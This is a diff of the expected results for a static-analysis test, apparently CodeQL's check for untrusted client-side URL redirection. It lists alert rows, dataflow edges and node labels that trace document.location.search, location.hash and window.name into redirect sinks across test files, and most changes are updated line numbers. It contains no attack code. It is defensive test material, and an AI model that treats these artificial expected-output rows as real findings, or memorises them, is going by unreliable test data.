+| tst10.js:8:17:8:63 | '//foo' ... ring(1) | tst10.js:8:27:8:50 | documen ... .search | tst10.js:8:17:8:63 | '//foo' ... ring(1) | Untrusted URL redirection depends on a $@. | tst10.js:8:27:8:50 | documen ... .search | user-provided value |
+| tst10.js:10:17:10:69 | 'https: ... ring(1) | tst10.js:10:33:10:56 | documen ... .search | tst10.js:10:17:10:69 | 'https: ... ring(1) | Untrusted URL redirection depends on a $@. | tst10.js:10:33:10:56 | documen ... .search | user-provided value |
+| tst13.js:4:15:4:21 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:4:15:4:21 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:8:21:8:27 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:8:21:8:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:12:14:12:20 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:12:14:12:20 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:16:17:16:23 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:16:17:16:23 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:20:14:20:20 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:20:14:20:20 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:24:14:24:20 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:24:14:24:20 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:28:21:28:27 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:28:21:28:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:32:17:32:23 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:32:17:32:23 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:36:21:36:27 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:36:21:36:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:40:15:40:21 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:40:15:40:21 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:44:14:44:20 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:44:14:44:20 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
+| tst13.js:50:23:50:23 | e | tst13.js:49:32:49:32 | e | tst13.js:50:23:50:23 | e | Untrusted URL redirection depends on a $@. | tst13.js:49:32:49:32 | e | user-provided value |
+| tst13.js:53:28:53:28 | e | tst13.js:52:34:52:34 | e | tst13.js:53:28:53:28 | e | Untrusted URL redirection depends on a $@. | tst13.js:52:34:52:34 | e | user-provided value |
+| tst13.js:61:18:61:24 | payload | tst13.js:59:19:59:42 | documen ... .search | tst13.js:61:18:61:24 | payload | Untrusted URL redirection depends on a $@. | tst13.js:59:19:59:42 | documen ... .search | user-provided value |
+| tst13.js:67:21:67:27 | payload | tst13.js:65:19:65:39 | history ... on.hash | tst13.js:67:21:67:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:65:19:65:39 | history ... on.hash | user-provided value |
+| tst13.js:74:21:74:27 | payload | tst13.js:72:19:72:39 | history ... on.hash | tst13.js:74:21:74:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:72:19:72:39 | history ... on.hash | user-provided value |
+| tst13.js:80:21:80:23 | url | tst13.js:78:15:78:38 | documen ... .search | tst13.js:80:21:80:23 | url | Untrusted URL redirection depends on a $@. | tst13.js:78:15:78:38 | documen ... .search | user-provided value |
+| tst13.js:81:28:81:30 | url | tst13.js:78:15:78:38 | documen ... .search | tst13.js:81:28:81:30 | url | Untrusted URL redirection depends on a $@. | tst13.js:78:15:78:38 | documen ... .search | user-provided value |
+| tst13.js:82:27:82:29 | url | tst13.js:78:15:78:38 | documen ... .search | tst13.js:82:27:82:29 | url | Untrusted URL redirection depends on a $@. | tst13.js:78:15:78:38 | documen ... .search | user-provided value |
+| tst13.js:83:22:83:24 | url | tst13.js:78:15:78:38 | documen ... .search | tst13.js:83:22:83:24 | url | Untrusted URL redirection depends on a $@. | tst13.js:78:15:78:38 | documen ... .search | user-provided value |
+| tst15.js:3:23:3:51 | url.sub ... ring(1) | tst15.js:2:15:2:31 | document.location | tst15.js:3:23:3:51 | url.sub ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:2:15:2:31 | document.location | user-provided value |
+| tst15.js:4:23:4:55 | url.sub ... ring(1) | tst15.js:2:15:2:31 | document.location | tst15.js:4:23:4:55 | url.sub ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:2:15:2:31 | document.location | user-provided value |
+| tst15.js:5:23:5:73 | url.sub ... ring(1) | tst15.js:2:15:2:31 | document.location | tst15.js:5:23:5:73 | url.sub ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:2:15:2:31 | document.location | user-provided value |
+| tst15.js:8:23:8:60 | url2.su ... nown()) | tst15.js:7:16:7:32 | document.location | tst15.js:8:23:8:60 | url2.su ... nown()) | Untrusted URL redirection depends on a $@. | tst15.js:7:16:7:32 | document.location | user-provided value |
+| tst15.js:9:23:9:64 | url2.su ... nown()) | tst15.js:7:16:7:32 | document.location | tst15.js:9:23:9:64 | url2.su ... nown()) | Untrusted URL redirection depends on a $@. | tst15.js:7:16:7:32 | document.location | user-provided value |
+| tst15.js:10:23:10:83 | url2.su ... nown()) | tst15.js:7:16:7:32 | document.location | tst15.js:10:23:10:83 | url2.su ... nown()) | Untrusted URL redirection depends on a $@. | tst15.js:7:16:7:32 | document.location | user-provided value |
+| tst15.js:13:23:13:54 | search. ... ring(1) | tst15.js:12:18:12:41 | documen ... .search | tst15.js:13:23:13:54 | search. ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:12:18:12:41 | documen ... .search | user-provided value |
+| tst15.js:14:23:14:58 | search. ... ring(1) | tst15.js:12:18:12:41 | documen ... .search | tst15.js:14:23:14:58 | search. ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:12:18:12:41 | documen ... .search | user-provided value |
+| tst15.js:15:23:15:79 | search. ... ring(1) | tst15.js:12:18:12:41 | documen ... .search | tst15.js:15:23:15:79 | search. ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:12:18:12:41 | documen ... .search | user-provided value |
+| tst16.js:5:21:5:59 | querySt ... h).data | tst16.js:5:39:5:53 | location.search | tst16.js:5:21:5:59 | querySt ... h).data | Untrusted URL redirection depends on a $@. | tst16.js:5:39:5:53 | location.search | user-provided value |
+| tst16.js:6:21:6:56 | querySt ... search) | tst16.js:6:41:6:55 | location.search | tst16.js:6:21:6:56 | querySt ... search) | Untrusted URL redirection depends on a $@. | tst16.js:6:41:6:55 | location.search | user-provided value |
+| tst16.js:7:21:7:62 | queryst ... h).data | tst16.js:7:42:7:56 | location.search | tst16.js:7:21:7:62 | queryst ... h).data | Untrusted URL redirection depends on a $@. | tst16.js:7:42:7:56 | location.search | user-provided value |
+| tst.js:1:19:1:72 | /.*redi ... ref)[1] | tst.js:1:47:1:68 | documen ... on.href | tst.js:1:19:1:72 | /.*redi ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:1:47:1:68 | documen ... on.href | user-provided value |
+| tst.js:5:20:5:59 | indirec ... ref)[1] | tst.js:5:34:5:55 | documen ... on.href | tst.js:5:20:5:59 | indirec ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:5:34:5:55 | documen ... on.href | user-provided value |
+| tst.js:8:19:8:84 | new Reg ... ref)[1] | tst.js:8:59:8:80 | documen ... on.href | tst.js:8:19:8:84 | new Reg ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:8:59:8:80 | documen ... on.href | user-provided value |
+| tst.js:12:20:12:59 | indirec ... ref)[1] | tst.js:12:34:12:55 | documen ... on.href | tst.js:12:20:12:59 | indirec ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:12:34:12:55 | documen ... on.href | user-provided value |
+| tst.js:15:19:15:84 | new Reg ... ref)[1] | tst.js:15:59:15:80 | documen ... on.href | tst.js:15:19:15:84 | new Reg ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:15:59:15:80 | documen ... on.href | user-provided value |
+| tst.js:19:20:19:59 | indirec ... ref)[1] | tst.js:19:34:19:55 | documen ... on.href | tst.js:19:20:19:59 | indirec ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:19:34:19:55 | documen ... on.href | user-provided value |
+| tst.js:23:22:23:82 | new Reg ... ref)[1] | tst.js:23:62:23:78 | win.location.href | tst.js:23:22:23:82 | new Reg ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:23:62:23:78 | win.location.href | user-provided value |
+| typed.ts:8:33:8:43 | redirectUri | typed.ts:4:22:4:36 | location.search | typed.ts:8:33:8:43 | redirectUri | Untrusted URL redirection depends on a $@. | typed.ts:4:22:4:36 | location.search | user-provided value |
+| typed.ts:29:33:29:43 | redirectUri | typed.ts:25:25:25:34 | loc.search | typed.ts:29:33:29:43 | redirectUri | Untrusted URL redirection depends on a $@. | typed.ts:25:25:25:34 | loc.search | user-provided value |
+| typed.ts:52:33:52:43 | redirectUri | typed.ts:47:25:47:34 | loc.search | typed.ts:52:33:52:43 | redirectUri | Untrusted URL redirection depends on a $@. | typed.ts:47:25:47:34 | loc.search | user-provided value |
+| typed.ts:56:33:56:43 | redirectUri | typed.ts:48:26:48:36 | loc2.search | typed.ts:56:33:56:43 | redirectUri | Untrusted URL redirection depends on a $@. | typed.ts:48:26:48:36 | loc2.search | user-provided value |
+edges
+| electron.js:4:12:4:22 | window.name | electron.js:7:20:7:29 | getTaint() | provenance |  |
+| react.js:10:60:10:81 | documen ... on.hash | react.js:10:60:10:91 | documen ... bstr(1) | provenance | Config |
+| react.js:23:19:23:40 | documen ... on.hash | react.js:23:19:23:50 | documen ... bstr(1) | provenance | Config |
+| react.js:31:43:31:64 | documen ... on.hash | react.js:31:43:31:74 | documen ... bstr(1) | provenance | Config |
+| react.js:37:43:37:64 | documen ... on.hash | react.js:37:43:37:74 | documen ... bstr(1) | provenance | Config |
+| react.js:43:19:43:40 | documen ... on.hash | react.js:43:19:43:50 | documen ... bstr(1) | provenance | Config |
+| regexp-exec.js:4:11:4:20 | [, group1] | regexp-exec.js:4:11:4:57 | group1 | provenance |  |
+| regexp-exec.js:4:11:4:57 | group1 | regexp-exec.js:5:28:5:33 | group1 | provenance |  |
+| regexp-exec.js:4:24:4:57 | /#(.*)/ ... n.href) | regexp-exec.js:4:11:4:20 | [, group1] | provenance |  |
+| regexp-exec.js:4:37:4:56 | window.location.href | regexp-exec.js:4:24:4:57 | /#(.*)/ ... n.href) | provenance | Config |
+| regexp-exec.js:9:11:9:20 | [, group1] | regexp-exec.js:9:11:9:58 | group1 | provenance |  |
+| regexp-exec.js:9:11:9:58 | group1 | regexp-exec.js:10:28:10:33 | group1 | provenance |  |
+| regexp-exec.js:9:24:9:58 | /\\?(.*) ... n.href) | regexp-exec.js:9:11:9:20 | [, group1] | provenance |  |
+| regexp-exec.js:9:38:9:57 | window.location.href | regexp-exec.js:9:24:9:58 | /\\?(.*) ... n.href) | provenance | Config |
+| regexp-exec.js:29:11:29:20 | [, group1] | regexp-exec.js:29:11:29:58 | group1 | provenance |  |
+| regexp-exec.js:29:11:29:58 | group1 | regexp-exec.js:30:28:30:33 | group1 | provenance |  |
+| regexp-exec.js:29:24:29:43 | window.location.href | regexp-exec.js:29:24:29:58 | window. ... #(.*)/) | provenance | Config |
+| regexp-exec.js:29:24:29:58 | window. ... #(.*)/) | regexp-exec.js:29:11:29:20 | [, group1] | provenance |  |
+| regexp-exec.js:34:11:34:20 | [, group1] | regexp-exec.js:34:11:34:64 | group1 | provenance |  |
+| regexp-exec.js:34:11:34:64 | group1 | regexp-exec.js:35:28:35:33 | group1 | provenance |  |
+| regexp-exec.js:34:24:34:43 | window.location.href | regexp-exec.js:34:24:34:61 | window. ... #(.*)/) | provenance | Config |
+| regexp-exec.js:34:24:34:61 | window. ... #(.*)/) | regexp-exec.js:34:11:34:20 | [, group1] | provenance |  |
+| regexp-exec.js:39:11:39:20 | [, group1] | regexp-exec.js:39:11:39:71 | group1 | provenance |  |
+| regexp-exec.js:39:11:39:71 | group1 | regexp-exec.js:40:28:40:33 | group1 | provenance |  |
+| regexp-exec.js:39:24:39:71 | new Reg ... n.href) | regexp-exec.js:39:11:39:20 | [, group1] | provenance |  |
+| regexp-exec.js:39:51:39:70 | window.location.href | regexp-exec.js:39:24:39:71 | new Reg ... n.href) | provenance | Config |
+| sanitizer.js:2:9:2:25 | url | sanitizer.js:4:27:4:29 | url | provenance |  |
+| sanitizer.js:2:9:2:25 | url | sanitizer.js:16:27:16:29 | url | provenance |  |
+| sanitizer.js:2:9:2:25 | url | sanitizer.js:19:27:19:29 | url | provenance |  |
+| sanitizer.js:2:9:2:25 | url | sanitizer.js:22:27:22:29 | url | provenance |  |
+| sanitizer.js:2:9:2:25 | url | sanitizer.js:25:27:25:29 | url | provenance |  |
+| sanitizer.js:2:9:2:25 | url | sanitizer.js:28:27:28:29 | url | provenance |  |
+| sanitizer.js:2:9:2:25 | url | sanitizer.js:31:27:31:29 | url | provenance |  |
+| sanitizer.js:2:9:2:25 | url | sanitizer.js:37:27:37:29 | url | provenance |  |
+| sanitizer.js:2:15:2:25 | window.name | sanitizer.js:2:9:2:25 | url | provenance |  |
+| tst2.js:2:7:2:33 | href | tst2.js:3:21:3:24 | href | provenance |  |
+| tst2.js:2:14:2:33 | window.location.href | tst2.js:2:7:2:33 | href | provenance |  |
+| tst2.js:3:21:3:24 | href | tst2.js:3:21:3:55 | href.su ... '?')+1) | provenance | Config |
+| tst6.js:2:7:2:45 | redirect | tst6.js:3:21:3:28 | redirect | provenance |  |
+| tst6.js:2:7:2:45 | redirect | tst6.js:4:17:4:24 | redirect | provenance |  |
+| tst6.js:2:18:2:45 | $locati ... irect') | tst6.js:2:7:2:45 | redirect | provenance |  |
+| tst6.js:5:21:5:48 | $locati ... irect') | tst6.js:5:21:5:56 | $locati ... + "foo" | provenance |  |
+| tst7.js:1:12:1:35 | documen ... .search | tst7.js:1:12:1:48 | documen ... ring(1) | provenance | Config |
+| tst7.js:3:27:3:50 | documen ... .search | tst7.js:3:27:3:63 | documen ... ring(1) | provenance | Config |
+| tst9.js:1:21:1:42 | documen ... on.hash | tst9.js:1:21:1:55 | documen ... ring(1) | provenance | Config |
+| tst10.js:4:23:4:46 | documen ... .search | tst10.js:4:23:4:59 | documen ... ring(1) | provenance | Config |
+| tst10.js:4:23:4:59 | documen ... ring(1) | tst10.js:4:17:4:59 | '/' + d ... ring(1) | provenance |  |
+| tst10.js:6:24:6:47 | documen ... .search | tst10.js:6:24:6:60 | documen ... ring(1) | provenance | Config |
+| tst10.js:6:24:6:60 | documen ... ring(1) | tst10.js:6:17:6:60 | '//' +  ... ring(1) | provenance |  |
+| tst10.js:8:27:8:50 | documen ... .search | tst10.js:8:27:8:63 | documen ... ring(1) | provenance | Config |
+| tst10.js:8:27:8:63 | documen ... ring(1) | tst10.js:8:17:8:63 | '//foo' ... ring(1) | provenance |  |
+| tst10.js:10:33:10:56 | documen ... .search | tst10.js:10:33:10:69 | documen ... ring(1) | provenance | Config |
+| tst10.js:10:33:10:69 | documen ... ring(1) | tst10.js:10:17:10:69 | 'https: ... ring(1) | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:4:15:4:21 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:8:21:8:27 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:12:14:12:20 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:16:17:16:23 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:20:14:20:20 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:24:14:24:20 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:28:21:28:27 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:32:17:32:23 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:36:21:36:27 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:40:15:40:21 | payload | provenance |  |
+| tst13.js:2:9:2:52 | payload | tst13.js:44:14:44:20 | payload | provenance |  |
+| tst13.js:2:19:2:42 | documen ... .search | tst13.js:2:19:2:52 | documen ... bstr(1) | provenance | Config |
+| tst13.js:2:19:2:52 | documen ... bstr(1) | tst13.js:2:9:2:52 | payload | provenance |  |
+| tst13.js:49:32:49:32 | e | tst13.js:50:23:50:23 | e | provenance |  |
+| tst13.js:52:34:52:34 | e | tst13.js:53:28:53:28 | e | provenance |  |
+| tst13.js:59:9:59:52 | payload | tst13.js:61:18:61:24 | payload | provenance |  |
+| tst13.js:59:19:59:42 | documen ... .search | tst13.js:59:19:59:52 | documen ... bstr(1) | provenance | Config |
+| tst13.js:59:19:59:52 | documen ... bstr(1) | tst13.js:59:9:59:52 | payload | provenance |  |
+| tst13.js:65:9:65:49 | payload | tst13.js:67:21:67:27 | payload | provenance |  |
+| tst13.js:65:19:65:39 | history ... on.hash | tst13.js:65:19:65:49 | history ... bstr(1) | provenance |  |
+| tst13.js:65:19:65:49 | history ... bstr(1) | tst13.js:65:9:65:49 | payload | provenance |  |
+| tst13.js:72:9:72:49 | payload | tst13.js:74:21:74:27 | payload | provenance |  |
+| tst13.js:72:19:72:39 | history ... on.hash | tst13.js:72:19:72:49 | history ... bstr(1) | provenance |  |
+| tst13.js:72:19:72:49 | history ... bstr(1) | tst13.js:72:9:72:49 | payload | provenance |  |
+| tst13.js:78:9:78:48 | url | tst13.js:80:21:80:23 | url | provenance |  |
+| tst13.js:78:9:78:48 | url | tst13.js:81:28:81:30 | url | provenance |  |
+| tst13.js:78:9:78:48 | url | tst13.js:82:27:82:29 | url | provenance |  |
+| tst13.js:78:9:78:48 | url | tst13.js:83:22:83:24 | url | provenance |  |
+| tst13.js:78:15:78:38 | documen ... .search | tst13.js:78:15:78:48 | documen ... bstr(1) | provenance | Config |
+| tst13.js:78:15:78:48 | documen ... bstr(1) | tst13.js:78:9:78:48 | url | provenance |  |
+| tst15.js:2:9:2:42 | url | tst15.js:3:23:3:25 | url | provenance |  |
+| tst15.js:2:9:2:42 | url | tst15.js:4:23:4:25 | url | provenance |  |
+| tst15.js:2:9:2:42 | url | tst15.js:5:23:5:25 | url | provenance |  |
+| tst15.js:2:15:2:31 | document.location | tst15.js:2:15:2:42 | documen ... tring() | provenance |  |
+| tst15.js:2:15:2:42 | documen ... tring() | tst15.js:2:9:2:42 | url | provenance |  |
+| tst15.js:3:23:3:25 | url | tst15.js:3:23:3:38 | url.substring(0) | provenance |  |
+| tst15.js:3:23:3:38 | url.substring(0) | tst15.js:3:23:3:51 | url.sub ... ring(1) | provenance | Config |
+| tst15.js:4:23:4:25 | url | tst15.js:4:23:4:42 | url.substring(0, 10) | provenance |  |
+| tst15.js:4:23:4:42 | url.substring(0, 10) | tst15.js:4:23:4:55 | url.sub ... ring(1) | provenance | Config |
+| tst15.js:5:23:5:25 | url | tst15.js:5:23:5:60 | url.sub ... ', 10)) | provenance |  |
+| tst15.js:5:23:5:60 | url.sub ... ', 10)) | tst15.js:5:23:5:73 | url.sub ... ring(1) | provenance | Config |
+| tst15.js:7:9:7:43 | url2 | tst15.js:8:23:8:26 | url2 | provenance |  |
+| tst15.js:7:9:7:43 | url2 | tst15.js:9:23:9:26 | url2 | provenance |  |
+| tst15.js:7:9:7:43 | url2 | tst15.js:10:23:10:26 | url2 | provenance |  |
+| tst15.js:7:16:7:32 | document.location | tst15.js:7:16:7:43 | documen ... tring() | provenance |  |
+| tst15.js:7:16:7:43 | documen ... tring() | tst15.js:7:9:7:43 | url2 | provenance |  |
+| tst15.js:8:23:8:26 | url2 | tst15.js:8:23:8:39 | url2.substring(0) | provenance |  |
+| tst15.js:8:23:8:39 | url2.substring(0) | tst15.js:8:23:8:60 | url2.su ... nown()) | provenance | Config |
+| tst15.js:9:23:9:26 | url2 | tst15.js:9:23:9:43 | url2.su ... (0, 10) | provenance |  |
+| tst15.js:9:23:9:43 | url2.su ... (0, 10) | tst15.js:9:23:9:64 | url2.su ... nown()) | provenance | Config |
+| tst15.js:10:23:10:26 | url2 | tst15.js:10:23:10:62 | url2.su ... ', 10)) | provenance |  |
+| tst15.js:10:23:10:62 | url2.su ... ', 10)) | tst15.js:10:23:10:83 | url2.su ... nown()) | provenance | Config |
+| tst15.js:12:9:12:52 | search | tst15.js:13:23:13:28 | search | provenance |  |
+| tst15.js:12:9:12:52 | search | tst15.js:14:23:14:28 | search | provenance |  |
+| tst15.js:12:9:12:52 | search | tst15.js:15:23:15:28 | search | provenance |  |
+| tst15.js:12:18:12:41 | documen ... .search | tst15.js:12:18:12:52 | documen ... tring() | provenance |  |
+| tst15.js:12:18:12:52 | documen ... tring() | tst15.js:12:9:12:52 | search | provenance |  |
+| tst15.js:13:23:13:28 | search | tst15.js:13:23:13:41 | search.substring(0) | provenance |  |
+| tst15.js:13:23:13:41 | search.substring(0) | tst15.js:13:23:13:54 | search. ... ring(1) | provenance | Config |
+| tst15.js:14:23:14:28 | search | tst15.js:14:23:14:45 | search. ... (0, 10) | provenance |  |
+| tst15.js:14:23:14:45 | search. ... (0, 10) | tst15.js:14:23:14:58 | search. ... ring(1) | provenance | Config |
+| tst15.js:15:23:15:28 | search | tst15.js:15:23:15:66 | search. ... ', 10)) | provenance |  |
+| tst15.js:15:23:15:66 | search. ... ', 10)) | tst15.js:15:23:15:79 | search. ... ring(1) | provenance | Config |
+| tst16.js:5:21:5:54 | querySt ... search) | tst16.js:5:21:5:59 | querySt ... h).data | provenance |  |
+| tst16.js:5:39:5:53 | location.search | tst16.js:5:21:5:54 | querySt ... search) | provenance | Config |
+| tst16.js:6:41:6:55 | location.search | tst16.js:6:21:6:56 | querySt ... search) | provenance | Config |
+| tst16.js:7:21:7:57 | queryst ... search) | tst16.js:7:21:7:62 | queryst ... h).data | provenance |  |
+| tst16.js:7:42:7:56 | location.search | tst16.js:7:21:7:57 | queryst ... search) | provenance | Config |
+| tst.js:1:19:1:69 | /.*redi ... n.href) | tst.js:1:19:1:72 | /.*redi ... ref)[1] | provenance |  |
+| tst.js:1:47:1:68 | documen ... on.href | tst.js:1:19:1:69 | /.*redi ... n.href) | provenance | Config |
+| tst.js:5:20:5:56 | indirec ... n.href) | tst.js:5:20:5:59 | indirec ... ref)[1] | provenance |  |
+| tst.js:5:34:5:55 | documen ... on.href | tst.js:5:20:5:56 | indirec ... n.href) | provenance | Config |
+| tst.js:8:19:8:81 | new Reg ... n.href) | tst.js:8:19:8:84 | new Reg ... ref)[1] | provenance |  |
+| tst.js:8:59:8:80 | documen ... on.href | tst.js:8:19:8:81 | new Reg ... n.href) | provenance | Config |
+| tst.js:12:20:12:56 | indirec ... n.href) | tst.js:12:20:12:59 | indirec ... ref)[1] | provenance |  |
+| tst.js:12:34:12:55 | documen ... on.href | tst.js:12:20:12:56 | indirec ... n.href) | provenance | Config |
+| tst.js:15:19:15:81 | new Reg ... n.href) | tst.js:15:19:15:84 | new Reg ... ref)[1] | provenance |  |
+| tst.js:15:59:15:80 | documen ... on.href | tst.js:15:19:15:81 | new Reg ... n.href) | provenance | Config |
+| tst.js:19:20:19:56 | indirec ... n.href) | tst.js:19:20:19:59 | indirec ... ref)[1] | provenance |  |
+| tst.js:19:34:19:55 | documen ... on.href | tst.js:19:20:19:56 | indirec ... n.href) | provenance | Config |
+| tst.js:23:22:23:79 | new Reg ... n.href) | tst.js:23:22:23:82 | new Reg ... ref)[1] | provenance |  |
+| tst.js:23:62:23:78 | win.location.href | tst.js:23:22:23:79 | new Reg ... n.href) | provenance | Config |
+| typed.ts:4:13:4:49 | params | typed.ts:5:25:5:30 | params | provenance |  |
+| typed.ts:4:22:4:36 | location.search | typed.ts:4:22:4:49 | locatio ... ring(1) | provenance | Config |
+| typed.ts:4:22:4:49 | locatio ... ring(1) | typed.ts:4:13:4:49 | params | provenance |  |
+| typed.ts:5:25:5:30 | params | typed.ts:7:24:7:34 | redirectUri | provenance |  |
+| typed.ts:7:24:7:34 | redirectUri | typed.ts:8:33:8:43 | redirectUri | provenance |  |
+| typed.ts:25:25:25:34 | loc.search | typed.ts:25:25:25:47 | loc.sea ... ring(1) | provenance | Config |
+| typed.ts:25:25:25:47 | loc.sea ... ring(1) | typed.ts:28:24:28:34 | redirectUri | provenance |  |
+| typed.ts:28:24:28:34 | redirectUri | typed.ts:29:33:29:43 | redirectUri | provenance |  |
+| typed.ts:47:25:47:34 | loc.search | typed.ts:47:25:47:47 | loc.sea ... ring(1) | provenance | Config |
+| typed.ts:47:25:47:47 | loc.sea ... ring(1) | typed.ts:51:24:51:34 | redirectUri | provenance |  |
+| typed.ts:48:26:48:36 | loc2.search | typed.ts:48:26:48:49 | loc2.se ... ring(1) | provenance | Config |
+| typed.ts:48:26:48:49 | loc2.se ... ring(1) | typed.ts:55:25:55:35 | redirectUri | provenance |  |
+| typed.ts:51:24:51:34 | redirectUri | typed.ts:52:33:52:43 | redirectUri | provenance |  |
+| typed.ts:55:25:55:35 | redirectUri | typed.ts:56:33:56:43 | redirectUri | provenance |  |
 nodes
 | electron.js:4:12:4:22 | window.name | semmle.label | window.name |
 | electron.js:7:20:7:29 | getTaint() | semmle.label | getTaint() |
@@ -48,32 +272,32 @@ nodes
 | sanitizer.js:37:27:37:29 | url | semmle.label | url |
 | tst2.js:2:7:2:33 | href | semmle.label | href |
 | tst2.js:2:14:2:33 | window.location.href | semmle.label | window.location.href |
-| tst2.js:4:21:4:24 | href | semmle.label | href |
-| tst2.js:4:21:4:55 | href.su ... '?')+1) | semmle.label | href.su ... '?')+1) |
+| tst2.js:3:21:3:24 | href | semmle.label | href |
+| tst2.js:3:21:3:55 | href.su ... '?')+1) | semmle.label | href.su ... '?')+1) |
 | tst6.js:2:7:2:45 | redirect | semmle.label | redirect |
 | tst6.js:2:18:2:45 | $locati ... irect') | semmle.label | $locati ... irect') |
-| tst6.js:4:21:4:28 | redirect | semmle.label | redirect |
-| tst6.js:6:17:6:24 | redirect | semmle.label | redirect |
-| tst6.js:8:21:8:48 | $locati ... irect') | semmle.label | $locati ... irect') |
-| tst6.js:8:21:8:56 | $locati ... + "foo" | semmle.label | $locati ... + "foo" |
-| tst7.js:2:12:2:35 | documen ... .search | semmle.label | documen ... .search |
-| tst7.js:2:12:2:48 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| tst7.js:5:27:5:50 | documen ... .search | semmle.label | documen ... .search |
-| tst7.js:5:27:5:63 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| tst9.js:2:21:2:42 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst9.js:2:21:2:55 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| tst10.js:5:17:5:59 | '/' + d ... ring(1) | semmle.label | '/' + d ... ring(1) |
-| tst10.js:5:23:5:46 | documen ... .search | semmle.label | documen ... .search |
-| tst10.js:5:23:5:59 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| tst10.js:8:17:8:60 | '//' +  ... ring(1) | semmle.label | '//' +  ... ring(1) |
-| tst10.js:8:24:8:47 | documen ... .search | semmle.label | documen ... .search |
-| tst10.js:8:24:8:60 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| tst10.js:11:17:11:63 | '//foo' ... ring(1) | semmle.label | '//foo' ... ring(1) |
-| tst10.js:11:27:11:50 | documen ... .search | semmle.label | documen ... .search |
-| tst10.js:11:27:11:63 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| tst10.js:14:17:14:69 | 'https: ... ring(1) | semmle.label | 'https: ... ring(1) |
-| tst10.js:14:33:14:56 | documen ... .search | semmle.label | documen ... .search |
-| tst10.js:14:33:14:69 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst6.js:3:21:3:28 | redirect | semmle.label | redirect |
+| tst6.js:4:17:4:24 | redirect | semmle.label | redirect |
+| tst6.js:5:21:5:48 | $locati ... irect') | semmle.label | $locati ... irect') |
+| tst6.js:5:21:5:56 | $locati ... + "foo" | semmle.label | $locati ... + "foo" |
+| tst7.js:1:12:1:35 | documen ... .search | semmle.label | documen ... .search |
+| tst7.js:1:12:1:48 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst7.js:3:27:3:50 | documen ... .search | semmle.label | documen ... .search |
+| tst7.js:3:27:3:63 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst9.js:1:21:1:42 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst9.js:1:21:1:55 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst10.js:4:17:4:59 | '/' + d ... ring(1) | semmle.label | '/' + d ... ring(1) |
+| tst10.js:4:23:4:46 | documen ... .search | semmle.label | documen ... .search |
+| tst10.js:4:23:4:59 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst10.js:6:17:6:60 | '//' +  ... ring(1) | semmle.label | '//' +  ... ring(1) |
+| tst10.js:6:24:6:47 | documen ... .search | semmle.label | documen ... .search |
